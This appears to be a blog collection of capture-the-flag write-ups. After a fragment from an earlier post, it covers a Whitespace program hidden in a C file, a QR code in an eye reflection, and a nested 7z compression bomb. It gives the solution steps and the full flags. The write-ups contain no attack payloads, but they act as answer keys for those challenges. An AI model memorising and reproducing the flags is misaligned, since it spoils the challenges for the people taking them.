Using 'MMA{' as the prefix to the flag seemed like a safe bet, searching all files starting from root.

/flag:1:MMA{you can run php from script tag} /flag:1:MMA{you can run php from script tag}

Flag: MMA{you can run php from script tag}

Sunday, August 16, 2015

Defcon 23 :: OpenCTF 2015 - Absence (200)


I loved this challenge, it exactly my cup of tea in the lands of obscurity.

Here's the code provided in the challenge:

#include           
 
void one(char k)          
{ 
  unsigned int i, bytes[]={0x0a,0x5d,0x2c,0x0b,0x37,0x38,0x04,0x05,0x1f,0x4c,0x05,0x1f,0x4c,0x02,0x03,0x18,0x4c,0x18,0x04,0x09,0x4c,0x0f,0x03,0x08,0x09,0x4c,0x15,0x03,0x19,0x4b,0x1e,0x09,0x4c};       
 
  for(i=0; i<32; i++)       
 printf("%c",(char)bytes[i]^k);
  printf("\n");          
} 
            
 
char two(char c)          
{ 
  return (c^0x32)-7;        
} 
            
 
void main(int argc, char** argv)         
{ 
  // lo0kin-fo
  one(two('A'));          
} 
  




First I tried compiling it and looking at the output. When doing this we get the following:
f1@g[This is not the code you're 

Cool, starts with a lead! That's nice!
After trying to change the 'A' value on line 22, to see if it changed the output, I got nothing and moved on to look for other clues.
Playing around in vim, one act I occasionally play with is pressing $ to go to the end of the line and skimming through the code by hitting each end point. In this case, there were a few spaces after one of the lines. With a past in heavy code reviews, this made me a little uneasy inside, so I decided to do another quick check:
/\t
With that we get wayy too many tab characters in irregular places:



This immediately redirects my thoughts to Whitespace, the programming language. If you're unfamiliar with whitespace, you can check out an example program here - http://www.99-bottles-of-beer.net/language-whitespace-154.html
The gist is that it's a language completely comprised of spaces, tabs, and linefeeds.

Because it's whitespace, and not the most supported in the world, I decided to do something I rarely find myself doing - finding an online compiler. In this case, there was a great one with a gomod example of whitespace found here - http://www.tutorialspoint.com/execute_whitespace_online.php (If anyone knows of good offline *nix whitespace compilers, please leave them in the comments section below!)
 lo0kin-fo]

This resulted in the full flag:
f1@g[This is not the code you're lo0kin-fo]

Defcon 23 :: OpenCTF 2015 - Enhance (50)

OpenCTF was a great time at Defcon23 this year. One of the first challenges I attempted was this one called "Enhance".

By the name I almost immediately associated it with all those bad hacker moments in Movies & TV Shows where they shout out "Enhance! Zoom In! Sharper!"

I learned later this was a reference to the Super Troopers scene, you can find a snippet of this great moment here - https://www.youtube.com/watch?v=_KN42ntgmdw

For this challenge we were given a high resolution jpeg image. Here's a smaller version of the original image:



I had originally opened this in 'feh' which is a great application you can get on linux. When opening in feh, it was automatically zoomed to 100%. This helped a lot when solving the challenge. After looking around I started to think where someone would hide data, it would probable be in the reflection! I remember hearing something about a CSI episode where they found evidence based on the reflection of an eye or watch or something similar. So that's where I looked first. After looking at the eyes, I found a QR code hidden in the reflection.



After flipping the orientation and taking my phone out for the QR code, I got nothing. Looks like the QR code needed to be "Enhanced"

Going into GIMP, I boosted the levels a bit and took another shot and BOOM, there was the flag! :)
Also when scaling it back up, make sure no Interpolation is set so that it stays crisp.
Another Note: QRDroid ended up doing the trick on the messy QR Code



Flag:
Ju5tPr1nTheDAmNTh1n6

Monday, May 11, 2015

ASIS CTF 2015 - Keka Bomb (75)

Keka Bomb was a forensics challenge with a simple description: "Find the flag in this file." When pulling down the file it was like all others in ASIS' CTF, unxz, then check the filetype.
$ file keka
keka: 7-zip archive data, version 0.3

Let's try extracting it! :D
7z e keka
# .....Takes long Time...
# No.

It ended up throwing up a few large files and that's when I started doing it the way it was probably intended to be solved, like most zip/compression bomb challenges.

- List the compressed files in the archive
- Extract the differing file which may lead to the target

Here's the final solution I ended up going with:
$ 7z l keka
7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,4 CPUs)

Listing archive: keka

--
Path = keka
Type = 7z
Method = LZMA
Solid = -
Blocks = 16
Physical Size = 9508910
Headers Size = 210

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2015-04-29 18:46:35 ....A   4194304000       594004  001.7z
2015-04-29 18:46:35 ....A   4194304000       594004  002.7z
2015-04-29 18:46:35 ....A   4194304000       594004  003.7z
2015-04-29 18:46:35 ....A   4194304000       594004  004.7z
2015-04-29 18:46:35 ....A   4194304000       594004  005.7z
2015-04-29 18:46:35 ....A   4194304000       594004  006.7z
2015-04-29 18:46:35 ....A   4194304000       594004  007.7z
2015-04-29 18:46:35 ....A   4194304000       594004  008.7z
2015-04-29 18:46:35 ....A   4194304000       594004  009.7z
2015-04-29 18:46:35 ....A   4194304000       594004  010.7z
2015-04-29 18:46:35 ....A   4194304000       594004  011.7z
2015-04-29 18:46:35 ....A   4194304000       594004  012.7z
2015-04-29 18:46:35 ....A   4194304000       598640  013.7z
2015-04-29 18:46:35 ....A   4194304000       594004  014.7z
2015-04-29 18:46:35 ....A   4194304000       594004  015.7z
2015-04-29 18:46:35 ....A   4194304000       594004  016.7z
------------------- ----- ------------ ------------  ------------------------
                           67108864000      9508700  16 files, 0 folders
Looks like this file differs:
2015-04-29 18:46:35 ....A   4194304000       598640  013.7z

Continuing by extracting only that one:
$ 7z e keka 013.7z
7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,4 CPUs)

Processing archive: keka

Extracting  013.7z

Everything is Ok

Size:       4194304000
Compressed: 9508910
And for fun, let's watch our hard=drive fill up as we cry:
watch 'ls -lahlahlahlah'
Cool, extracted a 3.9GB 7z file:
$ 7z l 013.7z
7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,4 CPUs)

Listing archive: 013.7z

--
Path = 013.7z
Type = 7z
Method = LZMA
Solid = -
Blocks = 16
Physical Size = 9497888
Headers Size = 209

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2015-04-29 11:32:54 ....A   4194304000       593444  0001.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0002.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0003.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0004.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0005.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0006.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0007.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0008.7z
2015-04-29 11:32:54 ....A   4194304000       596019  0009.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0010.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0011.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0012.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0013.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0014.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0015.7z
2015-04-29 11:32:54 ....A   4194304000       593444  0016.7z
------------------- ----- ------------ ------------  ------------------------
                           67108864000      9497679  16 files, 0 folders
------------------------------------------------------------

Rinse, and Repeat!
NOTE: Rinsing in this case is defined as deleting left-over 3.9GB files.... don't want too many of those stacking up....

Differs:
2015-04-29 11:32:54 ....A   4194304000       596019  0009.7z
Extract:
$ 7z e 013.7z 0009.7z
Delete:
$ rm 013.7z
$ 7z l 0009.7z
...
2015-04-29 06:33:53 ....A   4194304000       593928  0000007.7z
...
7z e 0009.7z 0000007.7z
$ 7z l 0000007.7z
...
2015-04-29 01:07:48 ....A   4194304000       592391  0000000008.7z
...
7z e 0000007.7z 0000000008.7z
Finally something more interesting! (Was almost ready to write a script)
Listing archive: 0000000008.7z

--
Path = 0000000008.7z
Type = 7z
Method = LZMA
Solid = -
Blocks = 16
Physical Size = 9467826
Headers Size = 212

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_00
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_01
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_02
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_03
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_04
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_05
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_06
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_07
2015-04-27 00:20:03 ....A   4194304000       591769  bomb_08
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_09
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_10
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_11
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_12
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_13
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_14
2015-04-27 00:20:03 ....A   4194304000       591723  bomb_15
------------------- ----- ------------ ------------  ------------------------
                           67108864000      9467614  16 files, 0 folders
------------------------------------------------------------
Looks like we have the final bomb! Let's extract it!
2015-04-27 00:20:03 ....A   4194304000       591769  bomb_08
...
$ 7z e 0000000008.7z bomb_08
Then after it's extracted, check the filetype again:
$ file bomb_08
bomb_08: data
Sweeeeet! We got some data! Let's strings it see what comes up:
$ strings bomb_08
ASIS{f974da3203d155826974f4a66735a20b}
Bomb Defused!


So in retrospect, this was a pretty fun challenge, easy enough to do on the command-line without anything more than standard tools and 7zip. I could've written a script, but it wasn't too deep, and was fun to do some hunting in the 7z realm.